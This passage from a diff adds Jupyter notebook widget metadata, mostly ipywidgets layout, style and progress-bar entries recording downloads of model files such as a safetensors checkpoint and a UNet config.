(…)ch_model.safetensors: 100%" + } + }, + "af944c373890491698424b1ca1c6969b": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_b82b0f73fa4d4fc395d106930015c7a0", + "placeholder": "​", + "style": "IPY_MODEL_bd3c80a835d242d19fe187d65e737d6c", + "value": " 308/308 [00:00<00:00, 2.39kB/s]" + } + }, + "b08e7b6e25c24054ac5b2b18bcb6f2ae": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "b09e0313ea6d461e99ee9e2778639310": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_b20aec5624874591a63b0d0f3d4daeda", + "max": 308, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_aa79187007a448a381f604ea8b5be0ba", + "value": 308 + } + }, + "b1659a9d5e294f9bbc1b20e892e16326": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "b1da7b0efaaf4db4a7660bc5457f2bfa": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_1daa130f38a84c6d9a4149536b21927e", + "placeholder": "​", + "style": "IPY_MODEL_bf14652b43264c2b884e2d19786d6f5e", + "value": "Downloading (…)e6a/unet/config.json: 100%" + } + }, + "b20aec5624874591a63b0d0f3d4daeda": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "b2efd56d5e834196818f46a7b287c2c3": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_058220c3342b49e0bcc1f0973566ac72", + "max": 1059962, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_7db99c4ea5e14e9bb5180a5beb4cc142", + "value": 1059962 + } + }, + "b2fad15effb84bce8aac9b9d2bf94b19": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_4e264753749d48a8aab85b9f8fe30aba", + "placeholder": "​", + "style": "IPY_MODEL_014e701444c54eee97d0b36ea38344ab", + "value": " 147M/147M [00:00<00:00, 306MB/s]" + } + }, + "b3418378805c4029aa6e6b939ae3c84b": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "b3967f91f621495cb1715427fcc57011": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_d4b746bc99074570a82175ef438cfb10", + "placeholder": "​", + "style": "IPY_MODEL_8f92d6ba8bd04fabb8e6dddf0c7dfa44", + "value": " 920/920 [00:00<00:00, 22.7kB/s]" + } + }, + "b3bd2d853e02483080ff7dfbd5b448e0": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_55f31f27ce954a0c8c0d1e63938c7bc0", + "IPY_MODEL_40ef1d0b44164265bea4eea32ce1b907", + "IPY_MODEL_3da34455151b42319fc32e56afeb7959" + ], + "layout": "IPY_MODEL_1bf842268bf64cadbf2bda6da0d4a690" + } + }, + "b3d9135383894e049a5f6f7fc77d7b5a": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_a97373cd0b29464dac7d2b3bfe3aa276", + "IPY_MODEL_10bfbe36a3e24b30a6e300e852ff7811", + "IPY_MODEL_af944c373890491698424b1ca1c6969b" + ], + "layout": "IPY_MODEL_3b250841cf664fcd8a57fb25d23b29ee" + } + }, + "b4e865be02fb4290849b676f4dd18ed0": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "b539338d7bf84f50a8c57f90986a8d9a": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "b54312c4603b400b97884eba33ad1095": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "b5462a2b462147899d82f6b4617cf781": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "b57cb9d64aa44f748fc6cffc6f95f5a3": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_335f1c1d85ec4723b8796b79d518c7be", + "IPY_MODEL_e9ef39e82cf645e396daea04a1e178f1", + "IPY_MODEL_97570891602f4963bdfaacd309438ca7" + ], + "layout": "IPY_MODEL_036af165dae748a19a3691dbe74e7a1a" + } + }, + "b57f5b94be66435fab8e8aa9b877848c": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "b5a39dc5eccf4747ade601d25681c2b2": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_1ce482eed7dd4a62b5c97b7fae38f392", + "IPY_MODEL_f566fa59f127470087bb68beea6ee8fb", + "IPY_MODEL_6c0b26e65230468cb5ef11d3d0bf1bd3" + ], + "layout": "IPY_MODEL_aa4097be74c3412eb9571ed6ef250828" + } + }, + "b6c5549bd95644ad9e553c2e59199f04": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_c0771d4d9b7242c4a1b6ea8954e9e96e", + "max": 524619, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_682a337dc14e48908be4cf40f7320d1f", + "value": 524619 + } + }, + "b6f79be711a94896ba08b0af7293cd04": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_182d76403d844b96bd20c3a7c49b4357", + "placeholder": "​", + "style": "IPY_MODEL_c81fe2532ac14ae6a5411a866f8e42ac", + "value": "Fetching 13 files: 100%" + } + }, + "b74532a8bd8e49f2a8286a1eed72a0d3": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "b82b0f73fa4d4fc395d106930015c7a0": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "b84453116ba14690b8ae8a8e723f8510": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_b54312c4603b400b97884eba33ad1095", + "placeholder": "​", + "style": "IPY_MODEL_b93ed8d01dbd4e0a84ff01b2e15f68ec", + "value": "Downloading (…)ch_model.safetensors: 100%" + } + }, + "b87077da3f824478ac88369582d77e8e": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "b8a38cb7b914460caf5f190692f5b935": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_633f3db9f5dd4f6984aa821a1717c03b", + "IPY_MODEL_c184aabb31504cbd8361a9ab06899438", + "IPY_MODEL_5c428d2de97f4bc28835ead1f6331e9e" + ], + "layout": "IPY_MODEL_229a1efdf3df4fe9aac07562774b084b" + } + }, + "b93ed8d01dbd4e0a84ff01b2e15f68ec": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "b9df58ad481f414f8240ce076cf53363": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "ba3cf4ae2c4e45e58abb82d2491fb7ba": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "bcd48b3b056c4c14b6034ef32fdde5d5": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "bd3c80a835d242d19fe187d65e737d6c": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "bd5c5827932b4dabbac38adb33544e48": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_455bc344fe60421da1ac931657cbd162", + "max": 1059962, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_88491458b25e4ae5a66afeaae7f76c12", + "value": 1059962 + } + }, + "be56ad8a63884a33a22bfb3b39da1cc0": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_c44f196498724b1b80b25bda832dc310", + "placeholder": "​", + "style": "IPY_MODEL_069b424c2d3846b8ba69a455dbda1f88", + "value": "100%" + } + }, + "be72ef0e4b8840608fd9160a6b43075d": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "bf14652b43264c2b884e2d19786d6f5e": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "bf52593db97e4b5f876d22d5c27e8c0d": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "bfd0a68276654b4997b802bc6d47f684": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "c0771d4d9b7242c4a1b6ea8954e9e96e": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + 